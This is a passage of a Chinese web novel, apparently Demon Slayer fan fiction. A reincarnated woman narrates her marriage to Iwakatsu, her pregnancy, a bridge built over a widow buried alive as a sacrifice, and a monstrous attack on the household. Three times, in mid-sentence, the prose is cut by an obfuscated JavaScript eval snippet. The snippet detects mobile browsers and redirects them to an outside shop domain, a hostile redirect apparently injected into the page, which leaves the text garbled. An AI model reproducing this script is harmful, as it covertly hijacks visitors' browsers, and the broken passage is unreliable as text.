奶娘说,你只要躺下,忍过这一晚就好了。你不行。 眼泪要出来了,好疼。 对了,她还说,不要哭哭啼啼让男人扫兴。 她话怎么这么多? 你知道,现在这个样子,绝不像是贞静柔顺、以夫为天的传统女人,但不管是你还是岩胜,都顾不上这一点了。 你们徒劳地贴近、分离,热汗涔涔。 好痛,好奇怪的感觉,两个人竟然可以亲密到如此的程度…… 你肩背拱起,感到自己凸起的脊柱在他滑动的手掌下像一粒粒念珠,贴紧的位置传来的奇异触感,和疼痛交替着出现。 忽然就理解了为什么有人会很重视这件事,会把伴侣当作是一生最亲近的人。 “我、我也要看画。”你又流出了眼泪,用力揪住岩胜的衣襟,手指抖得要滑下去。 岩胜狼狈地伸长手在被褥里翻找,纸张展开,你看到一群火柴人用各种姿势跳舞。 这、这谁能看懂啊! “呜……”你真的哭了出来,止都止不住。 书上果然都是骗人的! 你度过了今生最漫长的一晚,呼吸动作都在拖长的时间中变得粘稠。 倒在他结实的胸膛,你整个人晕晕乎乎跟着起伏,好不容易鼓足了勇气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048776|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我、我想,先亲一下,会不会好?” 他一声不吭,拉着你向上移动。 直到最后,你们精疲力尽,相拥着倒在一起,胡乱睡了一觉,醒来头发都是乱糟糟的。 生物钟强大的作用下,你睁开眼,窗纸上才透出一点光亮。 这么早,肯定没睡够,你想也不想,赌气继续睡。 岩胜习惯性地爬起披上衣服,到了放刀的地方摸了个空,才想起昨天吃饭的时候阿系特意把刀要走了。 他愣了一会儿,回到床前,不知对你说什么才好。 你睁开一只眼睛又很快闭上:“别吵。” 他笑出来,就在旁边和衣而卧。你往被子里缩了缩。 你们一起躺到天光大亮,挤在镜子前梳通头发。 这个时代的人发型都很简单,你是低马尾、他是高马尾。他帮你绑好后面的发带,你帮他梳拢头发总成一把,然后一点点梳高,就是最后一步做不好,没有弹性的布带总是在你手里散开,还是他自己绕上去的。 你的指尖从他的发顶落到发梢,丝丝缕缕的赫色从指缝滑过,折射出绸缎般的质感。感觉,好神奇。你的头发和眼睛都是纯黑不带一丝杂色的,而岩胜都有点红。 你知道东亚人其实纯色的少,以前做早操无聊观察别人的后脑勺,有人的发色在阳光下发灰,有人不照着太阳也带点米色,眼睛细看的话也是深浅不一的棕。而你头发黑得像墨,凑近镜子使劲看,也不容易分清虹膜和瞳孔的界限。 不过,粗略一看的话,你也没什么特别的,岩胜才是稀罕得很啊。 趁着他低头绑发带,你玩了一会儿他的头发,忽然想起动物世界里说灵长类动物互相梳理毛发交流感情,一下子没忍住笑喷了。 “又在想什么?” “没有。” 你用力揉揉酸痛的两颊,出了屋子才止住笑。岩胜跟在一旁,时不时看你一眼,被传染地也笑了,都不知在笑什么。 早餐是无论如何都来不及了,你让厨房多做了几样,凑成一顿早午餐,又给岩胜多塞了些干粮,才打发了他出门,来处理堆积下的家务。 差不多点的事,奶娘和阿系都代劳了,只剩佃农的交的租你得亲自看。 前几年老是打仗,收成不可能理想,现在是消停了,天气又有些反常。你究竟没有多少剥削者的自觉,面子上过得去就爽快翻篇,不计较那几毫几厘的利,盘完账,所有人都开开心心地走了。 你甩甩手腕、敲敲肩膀,心想,在人和土地高度绑定的小社会里做统治阶级,其实和做大家长没多少区别。权力也就是责任,你从他们手里拿“家用”,要关心他们的困难,保障他们的生活,供给基本的生产资料,维持最低限度的平稳。即使不劳力,劳心也是少不了的。 收拾完,你到了桌前,抽出凳子坐下,书找出来,文房四宝摆好,却好一会儿没动,感受着身体里微妙的痛感。 婚姻生活的大部分内容,都体验过了,目前还不坏,日后不会有什么应付不了的了吧? 生活的车轮碰到一点小坎继续平稳前行,你只多了一项任务,就是每天给岩胜绑头发。 系发带的手法你越来越熟练,晚上的事也一样,虽然有时候,你还是会脸红。 慢慢适应后,你还是谈不上有多享受这种事,但你喜欢两个人在密切接触中互相给予满足的感觉,所以不算坏。疼痛很难避免,你几乎不去掩饰,气极了就报复回去,岩胜对此很抱歉,他尽量用别的方式弥补。 唉,该头疼避孕的事了。 每一天,当你探出毛笔吸干砚台里的墨汁,捡起一片叶子夹到书里,或裁开布料缝制一件新衣,都在心里默默地祈求,生育这种事能有多晚就多晚吧。 日子就这么过着,一叠叠的书长高上去,一摞摞纸瘪下来,架子上你的笛子和岩胜的棋谱交错放着,你把它们分门别类安置好,感到内心的某种宁静。 就这样,岩胜和你先后过了十八岁成年的日子,顺利从高中生进阶成大学生(并不),传宗接代的压力更大了。 你稳如泰山,绝不自乱阵脚。 奶娘消停下来,再不追问生孩子的事,再催就只能让家主纳妾了,她心疼你,转而求神拜佛给你求子,你觉得她有事干挺好,从不加以阻拦。 可惜世道不太平,安静了数年的国境又有摩擦传来,虽不至于爆发战争,有经验的人都能嗅到一触即发的硝烟味。岩胜回到早出晚归、行色匆匆的状态,像刚结婚时那样。 你很心疼他,归家卸甲后都想试着帮他按摩或揉揉缓解肌肉的疲劳,但每次不管怎么用劲都收效甚微,他的肌肉太硬,你累得满头大汗也捏不动,只得放弃改为捶背。不过从表情看,你的拳头也同样没有力度。 笼罩在继国家上空的阴云时刻提醒你,生活并不平静。 奶娘也加入到读经、祈祷的行列中,每天跟你到小佛堂里的打转。她比你这个自诩唯物主义者虔诚过了,每念完一段,就信誓旦旦地说:“佛祖一定能保佑我们,以后不用打仗。” 你大概记得日本战国时代持续了一百多年,期间战争、阴谋、流血和对抗始终是主流,因此笑不出来。 无论怎么看,这都不是生孩子的好时候。 可不管你怎么担忧,该来的总会来。连续两个月没有在床垫、裙子上找到熟悉的血迹,你冷静地叫来了医生。 11. 第 11 章 临近继国家领地的地方爆发了一场不大不小的械斗,起因只是简单的争水。 天未亮,岩胜得到消息,立即起来披甲,你点着灯一直送到二门外,才依依不舍地回去。 这已是这个月的第三回,问题得不到根本解决,这样的争端不会停。 一开始,你想的很简单,对照着图纸发挥所剩无几的数学能力设计了一套各个聚集点出发路程相同的水井建设方案,也成功落实了下去,可到了取水的时候,人们照样闹。 岩胜说,不把他们打怕了是不行的。 你明白过来,种地的水是不嫌多的,仗着人多势众闹一闹就能获利,守规矩的人才是傻瓜。 这就是乱世,旧有的规则失去约束力,所有人都要在无情的碰撞中摸索出一套新规则来,在这之前谁拳头大听谁的。 岩胜调动的下级武士逐渐增多,听说其他家也是。怕的不是争水这种小事,而是有人借机生事,挑起更大的祸端。 你坐家里发愁,更担心岩胜的安危。他倒是往来寻常,眉头都不皱一下。 唯有一次,他匆匆回家用餐,你擦拭脱下的皮甲,摸到了一手血。 听到你惊恐的叫声,他丢下筷子过来,连忙安慰道:“这是溅上的,我一点事也没有。” 这是真的,他换衣服时你仔细看了,一道伤口也没有,那这出血量就意味着,有人死去了。 有人刚刚死去了,他的血还是热的。 你浑身颤抖,内心的震荡久久不能平静。 岩胜扶着你到对屋坐下:“这种事以后不要做了,让下人来。” “我很快就能处理好了。”他补充道。 你抱着肚子,不敢问要怎么处理。 你非常非常担心他。 形势在八月份过后迅速变坏,河流东边的武士们决定联合起来征讨对岸过火的同行。你已有心理准备,收拾好了要用的东西。 出征在即,岩胜每晚宿在前厅,整日和下属们商量对策。你穿过门廊走进来,带来打包好的衣物。 贴身穿的内衣放一个包袱,搭配盔甲穿的阵羽织放另一个包袱,你简短地交待完,刚要说点别的,就被一个讨厌的声音打断了: “真是晦气啊!夫人自重,就不该来男人的地方,这下好了,沾了女人的晦气,还怎么打胜仗?” 你怒目而视! 那是一个颇有资历的家臣,听说在老家主的时候就得重用。你以为迷信的也就公公一人,没想到是上行下效,你简直怒火中烧。 女人要是晦气,那女人生出来的男人才是最晦气的! 你气得就要反驳,刚蓄好力,劲儿就卸了:你能跟这帮字面意义上的老封建说什么,男女平等吗? 嘀嘀咕咕声从四周传来。 “就是、就是。” “怎么能让她进来?” “唉,怀孕的女人更是……” 算了。 你最终只是沉下脸,默默地站起来。 “能不能打胜仗,看的是自己。”岩胜低沉的声音响起来,从容不迫,带着不容辩驳的威严。 “再让我听到这种话,我只会认为你们根本没有信心、能力,提前给失败找借口,知道了?” 临行前,他上马,拨转马头在门前多打转了半圈。 “我从来就不信这个。”他道。 你回他一个安心的微笑。 岩胜打马离去。 武士在上战场前要避免接触女人,甚至女人碰过的东西都不行。这话岩胜从小听过不下百遍,从不同人口中说出信誓旦旦的相似内容,真的会让听者不知不觉就坚信不疑。岩胜接触过的武士,即使不那么讲究的,也会格外在意这点。 他还记得小时候,父亲每逢要出兵,就一个人待在小屋子里净身斋戒,连续三天谁也不见,绝不沾半点不吉利的东西。可他同时又像别的武士一样,相信妻子亲手打上的盔甲绳结是平安归来的吉兆。 这不是自相矛盾吗? 小岩胜问了出来,然后挨了顿打。 之后,他再也没有对父亲各种明显相冲突的行为提出过质疑,除了去世前的那晚。 岩胜挥刀而出,取走面前敌人的性命,头也不回地向前。 不过,就在刚刚,他有了一点别的体会。 飞溅的血水与你缩回的苍白指尖在脑海中重叠,他回忆起了你的恐惧。 那就是妇人之仁呀。他对自己说。 仅仅是猜测到死亡的发生,就会想到他生前的样子,因而格外地不忍,女人就是这样,而武士只是让这种念头稍停留一会儿,刀就会变钝。 作战前不要见到女人的用意,应该是这个才对。 这一番胜利换来你生产前的安静时光,你们有了大把的空闲可以在一起。 为了确保健康,你减少看书的时间,更多在院子里散步活动,记录体重变化,尽量控制不要上涨太快。 岩胜就在家里练武,处理其他事务,收了刀一身汗冲个澡,刚好陪你进屋,你和他学围棋当做胎教。 于是,欣赏岩胜的剑术成为每天的固定项目。 成年后,他的身高固定下来,目测有一米九多,光是站着,就给人气宇轩昂的感觉。你只到他肩膀下面一点。 曾经,你不喜欢太高的人,高个很好,可超过一定的数值看着就有些怪异了,校园里偶然碰到的快两米的男生,都驼着背一副无精打采的样子,走起路沉重又笨拙。但岩胜就完全不是这样。 你看他在清晨未散的雾气中拔出刀,仅蓄势待发的架势就非同寻常。他出招轻盈又迅捷,破空声如尖锐的呼啸,刀光闪烁没有一丝拖泥带水。 你总是走着走着就停下来,静静地看完,体味那些符合力学的动作本身所具有的美感,就像一个人不必懂引擎,也可以从豪华跑车的流线型外表上猜出它有多贵。 岩胜的强大是不辩自明的。 可面对你的赞美,他一次也不能坦然接受。 “还差一点,还不到完美的程度。” 他这样说着,好像心中已有一个完美的模具,自己所做努力就是套进去,做到一样。 你认为知道努力的方向是一件好事,磨练技艺的人大部分都是在黑暗中乱碰,摸到一点前方的亮光,就是进步的时候到了。 你是这般想的,也这般告诉他了。 岩胜的反应有些奇怪。 “不完全是这样,”他躲闪道,“总之,我还差着呢。” 在剑术的精进上,他常常流露出和自身实力不相符的焦虑,你想起高三每一次模拟考公布成绩和排名的时候,自己也是一样的焦虑。 再迫切的追求也不能让你年年高三,而岩胜自觉自愿地做到。你叹服,又隐隐感到不安。这种情绪除非下一次考好,否则谁也不能抹平,不知道岩胜心中的考试什么时候是个头。 岩胜也从不和你交流这个,他擦擦额头上的水,流畅地摆开棋局,吃掉你的黑子。 你连输数局,负气走开,吹笛子去了。 岩胜就安安静静地听,有时也问一句:“这支没听过,你从哪里学来这么多曲子的?” 你说:“没听过就对了,这是明国传来的曲调,只有我会。” 就这样玩笑几句。 担心的各种不良反应没有出现,你平稳度过了最危险的几个月。 身体的不适少,不能减轻你内心的重负。 随着腹部吹气球一样鼓起,你的生存焦虑与日俱增。 “一切顺利的话我就不多说了,”你念念叨叨地交待着,“都死了也不用说了,但要是我死了,孩子却活着的话……” 你打了个寒噤。在儿童夭折率逼近一半的古代,出现这种情况和都死也差不了多少了。可该说的还要说。 “你就等孩子大点再续娶吧。” 母亲在生完最小的弟弟后溘然长逝,父亲除去丧服就娶了新妻子进门,你虽然每天把孩子抱在怀里,他还是没活过百日。 没娘,爹也不管,孩子就是地狱开局。至于老公,你并没有所谓死后的占有欲。也许是死过一次了吧,虽然过程迅速毫无感觉,但死去元知万事空是怎么回事,你是真切地感受到了。 过去就只能过去,前世父母的痛苦你一个“逝去之人”无能为力,他们往后的喜怒哀乐也与你无关了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048777|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所以,活着爽过就行了,岩胜不仅没有对不起你还一直待你不错,武士的婚姻也很重要,是政治的一部分,属于必需品,干嘛要拦着。 “乱想什么。”岩胜不快地打断了你,“我会一直陪着你的。” 岩胜把信件、账册捡要紧的先看了,规划好接下来所有的行程,将生产前后一个月的时间全部空出来。 为此,他很是忙碌了一段日子。 今年的收成还是很不好,光看看数字,人就要咂舌。 你看着账目,会禁不住怀疑是不是自己太好说话,人们都来糊弄你。 岩胜说各地的摩擦损失了不少劳动力,农事不修是很正常的事。和你关系比较好的几家佃户带来另一种说法。 他们说,原本这一片的农民时代都挖渠从河流中引水灌溉,大家都很方便,可近十年来两岸的武士据河道互相攻伐,无不先拿附近的人家开刀,中间的田产几易其手,水利近乎荒废,人们也不敢就近取水,各地连绵数月的争水根源也在此。 他们大着胆子来和你说的原因是,继国家在上一场的战斗中,将控制范围推到了这条河水边上。 你再傻也听得出这言外之意,虽不好当面应承什么,心里还是把它记了下来。 几天后,岩胜外出归来,给你带来远方的珍贵礼物。 此前,他按惯例前往京都将军处送贺仪。各地方的管领、守护、代官齐聚室町,他们互相夸耀战功,宴饮斗酒,成群结队地涌入二条柳町寻欢作乐,抛洒出惊人的财富,也收敛各色奇珍。 岩胜无意作陪,如果可以的话,一口酒都不想喝。他见多了被酒色掏空的人是什么样子,再高明的武士也会因为酗酒成性的双手抖个不停,任何影响挥刀的堕落行径,他都深恶痛绝。但这种情形下独善其身,绝不是理智行为。 岩胜端起酒杯,沾沾唇就放下来。一旁斟酒的艺伎讪讪地放下添杯用的壶,掩饰地垂眸微笑,头上的花穗轻轻摇晃。 他想起在家的时候,你很高兴他不喜欢喝酒。 看遍销金窟里的丑态,岩胜动身返回领地,只买了一匹此地久负盛名的西阵织,淡青底的布料上洒满白色的百合花。他想,送给你穿正合适。 虽然不怎么在意,但他对女人的衣着还是有基本印象的。华丽的打褂下是一层层的单衣、小袖,胸前堆起的领口像翻开的书页,五颜六色地叠在一起。 而你不这样,你是能少一件就一件的,若不是身量修长,都显得有些单薄了。他想,你常穿的素色里衬,搭这样一件外衣刚刚好,花纹也很相配。 回家换下面君的直垂,他就将怀中的包袱取出,观察你拆开的表情。 你展开衣料挂在一侧肩上看一眼,便叠好放回去了。 “夫君大人,”你长跪的姿势可以说很正式了,“这也太贵重了。” 他摩挲在你肩头的手指停住,你们结婚这么多年,从没一刻这么像一对标准的封建家主和夫人。 “这算什么。”他手一挥,好笑道,“有话坐着说。” 你也觉得这个姿势太像演古装剧,笑一下,赶紧忍住。 “真的是太贵重了,”你把包袱推过去,“这笔钱足够做很多更重要的事。” “家主大人,”你说,“用这笔钱给您的臣民建一座桥吧。” 这是你想了很久才想出来的办法,修一座沟通两边的桥,岸边的居民自然能嗅到上层想要修好的意图,不会再畏惧到河中取水,普通人往来更加方便,或许也可以弥合多年争端的裂痕。 但这事,不是你这个身份位置的人能决定的,你只能按君臣夫妻的规训向岩胜劝谏,指望他去执行,或者想一个更有可行性的办法。 你下垂的两手叠在身前,额头郑重地贴上去。因为在做正确的事,心里并不感到屈辱。平时也没少跪坐,多少人活得水深火热,这算得了什么? 岩胜将衣料重新打开,披在你身上。 “和我想的一样好看,拿去做一件漂亮的衣服吧,”他看着你露出不解的表情,语调轻松,“难办的事,尽管交给我。” 你这才不好意思起来,低头捂着脸,小步跑回了房间。 12. 第 12 章 事情推进的很顺利,岩胜亲自过河,同对面当家的秋山家主议定了桥梁的选址,不日后就将开工。 听说,他返回后的次日,下游就有人家偷偷复垦了那里弃置的农田。 你深感自己做了一件好事,接连几天都很高兴,奶娘劝你少管外面的事也不放在心上。 正式动土那天,秋山家请来了几位著名的连歌师,就在林泉寺举行连歌会。 僧侣、公卿、武士济济一堂,大家在怀纸上写下应景的韵文,依次吟诵成篇。 几位大师声称曾为天皇献艺,文采果然不错,一开始你还试着在心里默默地跟几句,几联后,他们调转风头把对主家的奉承巧妙地嵌入诗句中,歌会变成商业互吹,你就叹为观止了。 专业的事果然要专业的人来做,你和各家女眷坐在一旁的禅房里,偶尔听到风送来一两句,实在是佩服得紧,几位自诩有才华的夫人也交头接耳地点评几句,夹杂着日常闲话。 可,听着听着,你就坐不住了。要不是奶娘眼疾手快拉了一把,你都要站起来了。 “不好意思,秋山夫人,”你尽量压抑住情绪,让语气不徐不疾,“我刚刚没有听明白,什么叫做‘打生桩’?” “唉呀呀,”秋山夫人摇摇手里的扇子,因为被打断了话很是不快,“继国家许久不动工了吧,夫人连这个都不明白了?” 你顾不得她话语里的讥讽,追问道:“我是说,你们说的那个、那个,就是那个……真要这么办?” 你努力了半天也没说出“那个”来,带着疑问扫视一圈,期待有人给你否定的答案。 某位夫人打圆场道:“我们不说这个了,听听刚才那句诗,写得真妙。” 你不说话。 秋山夫人脸拉了下来,她怀疑你是存心要在这样的场合下她的面子,故而不再容忍,啪一下扇子丢到一旁的矮桌上:“就这么办,不然怎么办?人都选好了,今天就办。” 你站起来推门而出。 疾步走在寺庙长长的回廊里,你急出了一身汗,顾不上擦拭,只管往前走。奶娘在后面追不上,低声喊你也不听。 穿过一道道门,你直奔举行歌会的前厅,终于在最后一扇遮挡的屏风前,奶娘扑过来使劲抱住了你的腿。 “你这是做什么呀!快回去,这是男人待的地方,这么过去,脸要不要了?好好的,发什么疯?” 你喘着粗气,说不出话。因为过于激动,腹部隐隐地不适。 看着你皱眉,奶娘赶紧道:“还怀着身子呐,折腾个什么劲儿!都快生了,别摔着了!” 你摇摇头,还往前走。 “什么事?”岩胜出来了。 他关切地看着你:“我听着就像你,怎么到这儿来了?” “岩胜,”你一把抱住他的胳膊,“他们、他们要杀人,他们要在桥底下活埋一个人!” 你从来不觉得自己是一个多高尚的人,穿越过来,发现自己是剥削阶级,你是沾沾自喜过的,也很快适应了被伺候的生活。你能做什么?顶多少提要求,让下人们多歇会儿,多给点儿钱罢了。在任何情况下坚守现代人的价值观,高举自由、民主、平等之旗什么的,想都不会想。 你觉得那些到了古代就适应环境安心当米虫的女主就长你这样了,可事到临头才发现,有些底线不是你想突破就能突破得了的。 那是一条命,活生生的人命啊! “你说打生桩?”岩胜明白了。 “别急,”他立刻道,“你回家,我去和他们说。” 会后,各家的武士们离开寺庙来到岸边,这是一座沟通三国七家武士的桥梁,家主们都来见证奠基仪式。 仪式上,继国家主主动提出愿捐献若干犬羊兽类作为奠基牲守护桥梁,被秋山和其他家的家主们拒绝了。 “人牲是最好的。”他们说道。 这就是你等来的消息。 “我是不是害了人?”你痛苦地揪起头发问他们,“我是不是害死了一条人命?” 你不提,也许永远都不会有人想起修桥,没这座桥,大家只是过得苦一点,可现在,实实在在有人无比凄惨地死去了。 “这,干嘛这么想啊,”奶娘的声音听起来虚虚的,“这种事,多着呢……” “夫人,”阿系也来劝你,“谁家盖屋建房不埋几个人柱,没这回也有下次,怎么能怪夫人呢?” “是啊、是啊,修桥铺路是大功德,菩萨也会保佑夫人的,别多想了,都是命。” 你完全没有捕捉到她们的本意,而是—— “盖房子也要、也要?” “对啊,”奶娘犹豫道,“当年时透家受封在这儿,听说初代家主往屋底下埋了一个女人镇宅呢,继国家也一样吧,阿系你说是不是?” 看到阿系点头,你头皮发麻,手里的杯子掉下去,跌成碎片。 自以为安稳的生活,原来从头到脚建立在一片尸骸之上,而你也间接地增加了其中一具。 你吐得天昏地暗。 岩胜回来的时候,你已经什么也吐不出来了,痰盂里是刚刚呕出的清水。 “就不能想想办法救人吗?”你哭着问他,“这么做到底有什么必要啊,非得死个人吗?” “你听我说,”岩胜冷静地轻拍着你的背,“我去看过她,亲口问过了,她是自愿做人柱的。” 你愣住,像听到了什么天方夜谭。 这怎么可能? “是真的。”岩胜手上用了点力,环住腰间带着你靠过来,两个人依偎成半拥抱的姿势。你头抵着他的锁骨,肩贴在胸膛,半个身子置身在他的投影下。 “我也担心是谎言,问了好几遍,派人去问答案都一样,你听吗?” 你赶紧擦干眼泪,扬起脸来。 岩胜的目光移向一旁闪烁的烛火,他说得很慢,一字一句都让你听得清清楚楚。 “她是一个寡妇,丈夫就死在几天前争水的火并中,家里两个儿子实在养活不了,所以秋山家的人到村子里挑人的时候,她主动站了出来。秋山家主答应她,会让她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048778|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子当武士。” 你明白了,阶级跨越的诱惑力在任何时代都有人愿肝脑涂地,何况她已困苦到如此地步。 “可是、可是……”你半天说不出可是后面的内容。 可是,不应该是这样的呀!人命不应该是用来做这种交换的呀! 你难以从这冲击中回过神来,内心痛苦到了极点。 “那,你能不能告诉我她叫什么名字?” “花子。” 不奇怪,女人的名字平平无奇,村口喊一声,怕是有好几个一起回头。上一次收税清账,你至少在名册上看到过七八个花子。奶娘,也叫花子。 “奶娘,”要入睡的时候,你叫她,“为什么要来时透家,做我的奶娘呢?” “哪有为什么,”她眼神躲闪一下,“我家那口子去了,孩子养不活,我能怎么办?” “那你的孩子呢?”你问,每次给奶娘放假她都说家里没啥好瞧的,还留在你身边。 奶娘铺好床:“给钱让邻居帮忙养,第二年就死了,这都是命。” 她重复了好几遍“这都是命”,把被角掖得平平整整才擦擦眼睛。 “那你还有其他家人吗?”有的话就接过来,你怎么早没想到呢? “都不管我,理他们做什么?” “好了,睡吧,”她准备走了,“这都过去了,你就和我的孩子一样。” “嗯,”你闭上眼睛,“你也和我的妈妈一样。” 你为这现实彻夜地流泪,不敢睡着,怕梦见一个女人还有很多很多女人埋土里的样子,岩胜就在身边,无声地从背后抱住你。 天亮时你顶着两只肿泡眼爬起来,咬牙切齿地宣布:“我得盯着他们,敢不兑现诺言,我、我就——” 也不能怎么着。 你气得直拍脑门。 “我真是傻了,怎么能指望那种人守约。”你转头去,“岩胜,我们把他们,把那两个孩子接过来吧,我们来培养他们做武士。” 岩胜答应了你。他说近来战死了几位士兵,那两个孩子刚好补阙。 你感到了些许安慰,心里依旧空落落的。 派出去的侍卫花了几天功夫,才从村子最偏远的一处窝棚里,找到了两个脏兮兮小男孩。 他们有数日不曾吃饭,累得走不动,只能先养一会儿,再带回继国家。 你听了下人报回的消息,知道秋山家果然出尔反尔,又是好一阵难受。 与此同时,造桥的工程已准备就绪,河中心打好了木桩,围堰用的石料就堆在岸边,桥头的位置挖了一个深坑,那就是埋人柱的地方。 更深露重,工匠们都休息去了。坑底瘦骨嶙峋的女人,半边身子在土外,胸口剧烈地起伏。 她已咒骂、哭号了一整天,现在一点力气都没有了。 浓黑的夜色中走出一道更暗的身影,两点梅红色的光像不详的鬼火,探出的手指无比苍白。 “让我看看这么重的怨气能带来什么惊喜吧。女人,想要我的血吗?”他道。 13. 第 13 章 傍晚时分,两个孩子洗刷干净、换上新衣,被带进庭院,领到你面前。 看着他们惊慌、躲闪的眼神,你顿感棘手。 要怎么把他们培养成武士呢?你理不出头绪来。 职位和阶层世袭的情况下,教育完全被垄断在家庭内部,普通人就算进了那个圈子,分不到资源照样是白瞎。那个可怜的女人稍微明白一点,就会听出秋山家在骗她。 想到这里,你心口堵得慌。 “长屋里收拾一间空房子,让他们先住下。”你吩咐道。 和武士生活在一起,适应起来快,偷师也会比较方便吧?至于其他的,来日方长。 临行前,你招呼他们过来,挨个抱抱,摸摸他们硌人的肩膀,鼓励他们好好学习。 奶娘眼珠快瞪出来,人刚走,就大呼小叫,要你赶紧洗手。 自打怀孕来,你忤逆她太多,这会儿不敢声张,干脆走开了。 “以后,不许管闲事了,”她拿着手巾地追上来,“管一件,闹出多少事来。” 你点头如捣蒜,不多嘴一句。 奶娘给你擦手,一边擦一边叹气:“如今这世道可不太平,事情越少越好。你昨晚听见没有?听说狼下山来了,嚎了半夜,真瘆人。” 这不能不问了。“有人受伤吗?受伤了赶紧请医师啊。”你说。 “谁知道呢,光看见一地血,没听说谁家少了人。家主一早就是干这个去了,听说要找山里的猎户下夹子,还要通知各家紧闭门户。你倒好,又是找人,又是往回带人的。” “我怎么没听说?” “你说呢?” 你讨好道:“行行行,我以后什么也不折腾了,你说好不好?” 她收拾好东西,翻个白眼走了。 打狼捕熊是靠山生活的必要流程了,你并不陌生,只是觉得奇怪:狼是这个季节下山吗? 你莫名地不安,听奶娘的话,派人检查各处门户,只留一道门等岩胜回来。 这样过了两天,外面风声越来越紧:有人在林地里捡到了带血的衣服,撕扯的不成样,有人说夜里听到了狼啃咬骨头的声音。 村子里人心惶惶,可猎户来了一拨又一拨,谁也没逮着狼。别说狼了,狼毛也没见几根。 岩胜将每日巡逻的路线延长了一倍。 你足不出户,每天最多到院子里转悠一圈,保持运动量,方便生产。 新来的孩子和岩胜安排的老师学起了剑术,你远远地看了几眼,没有去打扰。嘴里说些不痛不痒的话,会让你觉得自己很虚伪。梗在心头的愧疚感还没有消散,你不知道该怎么面对。 反倒是奶娘盯你盯得紧,自己却偷偷看了他们好几次,送了几件衣服和一碟点心。 “他们命太苦,我到菩萨跟前给念念经。”她这样说。 你不胜唏嘘。 岩胜巡夜归来,你已躺到了被褥里,他轻抚你的肚子,问你是不是该搭建产房了。 “再等一个月吧,”你说,“这些天太忙了。” 最终,你没能住到产房里。 出事的那天,并不比寻常有什么不同。 太阳刚刚落下,满月只有天边的一点,风还是暖的,你用过晚饭在廊下散步,奶娘和阿系坐屋里缝制小衣服和小襁褓,下人扫地的扫地,擦桌子的擦桌子,偶尔八卦几句秋山家主几天没出门了,不知在捣鼓什么。 第一声尖叫传来,你还在发懵,没意识到发生了什么。 “狼,有狼!快把门关上!” 岩胜留下的侍卫立即行动起来,他们快速跑过去,用圆木顶住大门。 如果来的是狼,那它可够快、够猛的。 接二连三的惨叫想起,不用看,正门肯定失守了。 “夫人,快跟我回屋!长屋门的人会来保护夫人的。”阿系反应极快,马上冲了出来。 你清醒过来,赶忙拉住她:“不行,孩子们还在那里呢,怎么能让他们涉险呢?” 阿系愣住,明显反应了一会儿才想起“孩子们”是谁。 “夫人别担心,”她立即道,“你先回屋,奴婢去把孩子抱过来。” 你恨不得甩自己两巴掌。 “都不许去,”你大喊道,“让大家都躲起来,别往外撞!” 来不及了,你的话来不及到该到的地方,武士们已遵循他们的本能,带着刀一个个冲了出来。 离得近了,你看清“狼”的本相:奇怪凸起的四肢,破破烂烂的长袍随风飘荡,还拖着长长的头发,干枯的发下隐约可见呲起的牙齿和滴落的涎液…… 这哪里是狼,分明是人!人会是这个模样吗? 你全身响起了警报,腿却不听使唤,一个劲儿往下软。阿系眼疾手快一把拉起来,奶娘也来接应,两个人七手八脚把你拽了进去。 薄薄的木门纸窗根本拦不住那个怪人,几个呼吸间,整个板壁都掀翻过去,她闯了进来,直起身头机械地转动,无神的双眼依次打量你们三个,裂成两半的推拉门外,七零八落地躺满了尸体。 瞬间,你坚持了两辈子的唯物主义世界观碎成了渣。 “快,快跑……你们快跑……”你抱着一阵阵紧缩的肚子蹲下去,有气无力道。 你是跑不动了,走路都够呛,能活一个是一个吧。 奶娘抱着你泪流满面,阿系举起了倒地上的桌子,你急得厉害,却说不出话来,腹部紧缩的痛感更加明显,身下有什么正汩汩地涌出。 “快跑……”你疼得要晕过去,眼前一阵阵发黑。 是要早产了吗,偏偏是这个时候…… 阿系大喊一声扑上去,你拦不住她,惨剧眼看要重演,那怪物挥舞的双臂陡然一僵。 不远处,两道小小的身影喊叫着什么飞奔过来。 是那两个孩子!他们人小跑得慢,这才到了内院。 他们一个个,怎么就不知道逃命要紧? 你吃痛地支起身子,正要呵斥,不妨晚风吹来了他们的呼喊。 “妈妈,妈妈!”他们叫道。 妈妈? 你不明所以,阿系也迟疑地顿住,两个孩子冲上来,抱住怪物的腰。 “妈妈、妈妈!”他们哭着呼喊。 怪物仰天长啸,抡圆了胳膊,拎起脖子一边一个全甩了出去。 小一点的那个飞出去好远,挂在破开的窗框,咔嚓一声头软软地耷拉下来。大的就落在你跟前,满头满脸地血,还在叫妈妈。 “花子!”你叫道。 害怕的情绪还没上来,血腥味扑鼻而来,你控制不住地干呕,身体疼得蜷缩起来。 